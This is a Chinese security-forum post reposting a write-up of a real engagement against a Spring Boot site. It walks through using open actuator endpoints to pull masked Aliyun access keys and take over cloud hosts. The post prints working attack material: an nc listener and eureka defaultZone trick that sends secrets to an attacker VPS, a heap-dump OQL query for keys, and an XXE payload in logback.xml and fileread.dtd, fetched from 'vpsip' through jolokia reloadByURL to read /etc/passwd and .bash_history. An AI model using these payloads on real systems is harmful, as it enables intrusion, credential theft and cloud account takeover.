安全矩阵

 找回密码
 立即注册
搜索
查看: 2479|回复: 0

实战 | 一次 springboot未授权到云主机接管

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-1 16:18:12 | 显示全部楼层 |阅读模式
原文链接:实战 | 一次 springboot未授权到云主机接管

在一次项目测试中发现一个站点存在如下页面

看来是springboot框架构建的网站,使用dirseach扫一波

可以看到能访问/env、/dump目录,明显存在springboot未授权漏洞

可以看到springboot的环境变量,但是像accessKeySecret这种字段都已经被打码了,要是能知道accessKeySecret这个字段的值,便有可能接管阿里云托管的主机。
那么要获取带星号字段的值有两种方法。
方法一:
通过post方法传递带星号的明文值到自己的vps上查看

利用方法
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
使用 nc 监听 HTTP 请求
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
设置 eureka.client.serviceUrl.defaultZone 属性。  
将下面
http://value{security.user.password}@your-vps-ip中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;
your-vps-ip 换成自己外网服务器的真实 ip 地址。

但在目标网站中,并不支持post方法,返回405状态码,那只能用第二种方法了。

方法二:
从内存文件中读取带星号的明文
访问http://xxx/heapdump下载内存文件。
这时候就可以利用 Eclipse Memory Analyzer 工具(下载地址:https://www.eclipse.org/mat/downloads.php
来分析 /heapdump 或 /actuator/heapdump 接口下载的 jvm heap 信息,查找阿里云密钥明文。
使用 Eclipse Memory Analyzer 直接打开下载的 heapdump 文件,点击OQL 标签

在查询框中输入
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains
("aliyun"))
然后点击红色感叹号执行查询
便能模糊搜索到关于aliyun密钥相关的信息

拿到阿里云的accessKeyId和accessKeySecret后,
到行云管家
(https://yun.cloudbility.com/login.html)中输入相应密钥,便会自动调用阿里云api接管云主机
因为该站点还暴露了jolokia/list,
查看jolokia/list中存在的 Mbeans,并且存在logback 库提供的reloadByURL方法,可以利用jolokia/list接口进行xxe漏洞
漏洞url: http:/xxx.com.cn/actuator/jolokia/list
创建logback.xml和fileread.dtd文件
logback.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vpsip/fileread.dtd">%remote;%int;]>
&trick;
fileread.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
将上面文件上传到公网VPS上并且开启http服务
命令:python -m SimpleHTTPServer 80

远程访问logback.xml文件
http://xxx.com.cn/actuator/jolok ... lassic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vpsip!/logback.xml
成功利用xxe读取到etc/passwd文件内容

利用该漏洞读到了/.bash_history这个文件,该文件记录了过去用户输入的命令行
翻越命令行,找到了接管阿里云的accesskeyid和accessSerect



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-8 13:01 , Processed in 0.038585 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表